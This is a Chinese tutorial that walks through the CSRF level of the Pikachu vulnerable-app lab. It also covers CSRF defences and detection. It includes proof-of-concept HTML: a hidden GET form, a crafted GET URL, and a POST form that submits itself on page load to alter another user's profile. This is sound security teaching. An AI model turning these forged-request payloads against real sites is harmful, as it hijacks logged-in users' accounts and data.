Pikachu靶场通关之Cross-site request forgery
字数 1609 2025-08-15 21:33:24
Cross-site request forgery (CSRF) 漏洞全面解析与实战教学
一、CSRF漏洞概述
CSRF(跨站请求伪造)是一种web安全漏洞,攻击者会伪造一个请求(通常是一个链接),欺骗目标用户点击。用户一旦点击这个请求,攻击即完成,因此CSRF攻击也被称为"one click"攻击。
关键概念区分
- CSRF vs XSS:CSRF是借用户的权限完成攻击,攻击者并没有拿到用户的权限;XSS是直接盗取用户权限后实施破坏
- CSRF vs 越权:CSRF是利用用户已登录状态伪造请求;越权是直接绕过权限验证
典型攻击场景
- 攻击者发现目标网站修改个人信息的请求容易伪造(如:
http://www.xxx.com/edit.php?email=xiaohei@88.com&Change=Change) - 攻击者将该链接伪装后发送给已登录目标网站的用户
- 用户点击链接后,个人信息被修改,攻击完成
攻击成功条件
- 目标网站对敏感操作缺乏足够验证
- 受害者已登录目标网站
- 受害者点击了攻击者构造的恶意链接
二、CSRF漏洞利用实战
1. GET型CSRF利用
实验环境:
- 浏览器A:登录kobe账号
- 浏览器B:登录lucy账号
攻击步骤:
- 在浏览器A修改kobe账号信息,使用Burp Suite抓包
- 右键生成CSRF PoC,保存为HTML文档
- 修改HTML中的个人信息参数:
<html>
<body>
<form action="http://xxx.xxx.xxx/vul/csrf/csrfget/csrf_get_edit.php">
<input type="hidden" name="sex" value="boy" />
<input type="hidden" name="phonenum" value="15988767673" />
<input type="hidden" name="add" value="nba lakes" />
<input type="hidden" name="email" value="kobe@pikachu.com" />
<input type="hidden" name="submit" value="submit" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
- 在浏览器B中打开该HTML并点击提交
- 观察lucy账号信息已被修改为kobe的信息
替代方法:
GET型CSRF也可直接构造URL实现:
/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=15988767673&add=nba lakes&email=kobe@pikachu.com&submit=submit
2. POST型CSRF利用
实验环境:
- 浏览器A:登录kobe账号
- 浏览器B:登录lili账号
攻击步骤:
- 在浏览器A修改kobe账号信息,使用Burp Suite抓包
- 构造自动提交表单的HTML并部署在公网服务器:
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://xxx.xxx.xxx/vul/csrf/csrfpost/csrf_post_edit.php">
<input id="sex" type="text" name="sex" value="boy" />
<input id="phonenum" type="text" name="phonenum" value="15988767673" />
<input id="add" type="text" name="add" value="nba lakes" />
<input id="email" type="text" name="email" value="kobe@pikachu.com" />
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
- 在浏览器B中访问该HTML页面(自动提交表单)
- 观察lili账号信息已被修改为kobe的信息
3. Token验证的CSRF防御机制
防御原理:
- 每次请求生成随机token值
- 提交请求时验证token有效性
- 查看页面源码可发现隐藏的token字段
绕过难度:
- 攻击者无法预测或获取有效的token值
- 必须获取当前用户的token才能构造有效请求
三、CSRF漏洞的危害
- 账户安全:修改用户密码、邮箱等敏感信息
- 电商风险:修改收货地址、下单等操作
- 数据篡改:删除、修改用户数据
- 蠕虫传播:配合XSS漏洞可造成蠕虫病毒式传播
- 权限滥用:用户所有可在网站执行的操作,攻击者均可利用CSRF伪造
四、CSRF漏洞防御措施
1. 使用安全Token
- 为每个表单生成唯一的、不可预测的token
- 服务器验证token有效性
- token应与用户会话关联并设置合理有效期
2. 增加验证码
- 对敏感操作要求输入验证码
- 可防止自动化CSRF攻击
3. 实施安全流程
- 修改密码时要求验证旧密码
- 关键操作分多步完成
- 敏感操作增加二次确认
4. 其他防御措施
- 检查Referer头部(但可能被绕过)
- 使用SameSite Cookie属性
- 关键操作使用POST而非GET方法
五、CSRF漏洞检测方法
-
手动测试:
- 检查敏感操作是否容易被伪造
- 查看请求是否包含随机token
- 尝试移除/修改参数观察是否仍能执行
-
工具辅助:
- 使用Burp Suite生成CSRF PoC
- 自动化扫描工具检测
-
代码审计:
- 检查关键操作是否有token验证
- 验证随机数生成是否足够安全
六、总结
CSRF是一种危害严重且常见的web安全漏洞,攻击者利用用户已登录状态伪造请求执行恶意操作。防御CSRF的核心在于确保每个敏感请求都是用户明确意图发起的,通过token、验证码等多重验证机制可以有效防范此类攻击。开发人员应在设计阶段就考虑CSRF防护,安全人员则应将其作为常规测试项进行检测。